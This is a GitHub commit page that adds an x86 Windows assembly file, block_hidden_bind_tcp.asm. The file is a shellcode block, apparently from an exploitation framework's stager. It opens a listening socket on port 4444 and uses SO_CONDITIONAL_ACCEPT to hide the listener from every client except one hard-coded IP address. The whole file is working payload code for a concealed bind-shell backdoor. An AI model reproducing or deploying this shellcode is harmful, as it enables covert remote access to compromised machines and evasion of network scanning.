Skip to content

Commit e34c370

Browse files
committed
Readd block_hidden_bind_tcp.asm
Because stager_hidden_bind_tcp.asm includes it.
1 parent 25fabfc commit e34c370

File tree

1 file changed

+91
-0
lines changed

1 file changed

+91
-0
lines changed
Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
;-----------------------------------------------------------------------------;
2+
; Original Shellcode: Stephen Fewer ([email protected])
3+
; Modified version to add Hidden ACL support: Borja Merino ([email protected])
4+
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
5+
; Version: 1.0 (February 2014)
6+
;-----------------------------------------------------------------------------;
7+
[BITS 32]
8+
9+
; Input: EBP must be the address of 'api_call'.
10+
; Output: EDI will be the newly connected clients socket
11+
; Clobbers: EAX, EBX, ESI, EDI, ESP will also be modified (-0x1A0)
12+
13+
bind_tcp:
14+
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
15+
push 0x5F327377 ; ...
16+
push esp ; Push a pointer to the "ws2_32" string on the stack.
17+
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
18+
call ebp ; LoadLibraryA( "ws2_32" )
19+
20+
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
21+
sub esp, eax ; alloc some space for the WSAData structure
22+
push esp ; push a pointer to this stuct
23+
push eax ; push the wVersionRequested parameter
24+
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
25+
call ebp ; WSAStartup( 0x0190, &WSAData );
26+
27+
push eax ; if we succeed, eax wil be zero, push zero for the flags param.
28+
push eax ; push null for reserved parameter
29+
push eax ; we do not specify a WSAPROTOCOL_INFO structure
30+
push eax ; we do not specify a protocol
31+
inc eax ;
32+
push eax ; push SOCK_STREAM
33+
inc eax ;
34+
push eax ; push AF_INET
35+
push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
36+
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
37+
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
38+
39+
xor ebx, ebx ; Clear EBX
40+
push ebx ; bind to 0.0.0.0
41+
push 0x5C110002 ; family AF_INET and port 4444
42+
mov esi, esp ; save a pointer to sockaddr_in struct
43+
push byte 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused)
44+
push esi ; pointer to the sockaddr_in struct
45+
push edi ; socket
46+
push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" )
47+
call ebp ; bind( s, &sockaddr_in, 16 );
48+
49+
; Hidden ACL Support ----------
50+
51+
push 0x1 ; size, in bytes, of the buffer pointed to by the "optval" parameter
52+
push esp ; optval: pointer to the buffer in which the value for the requested option is specified
53+
push 0x3002 ; level at which the option is defined: SOL_SOCKET
54+
push 0xFFFF ; the socket option for which the value is to be set: SO_CONDITIONAL_ACCEPT
55+
push edi ; socket descriptor
56+
push 0x2977A2F1 ; hash( "ws2_32.dll", "setsockopt" )
57+
call ebp ; setsockopt(s, SOL_SOCKET, SO_CONDITIONAL_ACCEPT, &bOptVal, 1 );
58+
59+
push ebx ; backlog
60+
push edi ; socket
61+
push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" )
62+
call ebp ; listen( s, 0 );
63+
64+
condition:
65+
push ebx ; dwCallbackData (ebx = 0, no data needed for the condition function)
66+
call wsaaccept ; push the start of the condition function on the stack
67+
mov eax, DWORD [esp+4] ;
68+
mov eax, DWORD [eax+4] ;
69+
mov eax, DWORD [eax+4] ; get the client IP returned in the stack
70+
sub eax, 0x2101A8C0 ; compare the client IP with the IP allowed
71+
jz return ; if equal returns CF_ACCEPT
72+
xor eax, eax ; If not equal, the condition function returns CF_REJECT
73+
inc eax
74+
return:
75+
retn 0x20 ; some stack alignment needed to return to mswsock
76+
77+
wsaaccept:
78+
push ebx ; length of the sockaddr = nul
79+
push ebx ; struct sockaddr = nul
80+
push edi ; socket descriptor
81+
push 0x33BEAC94 ; hash( "ws2_32.dll", "wsaaccept" )
82+
call ebp ; wsaaccept( s, 0, 0, &fnCondition, 0)
83+
inc eax
84+
jz condition ; if error (eax = -1) jump to condition function to wait for another connection
85+
dec eax
86+
87+
push edi ; push the listening socket to close
88+
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
89+
push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
90+
call ebp ; closesocket( s );
91+

0 commit comments

Comments
 (0)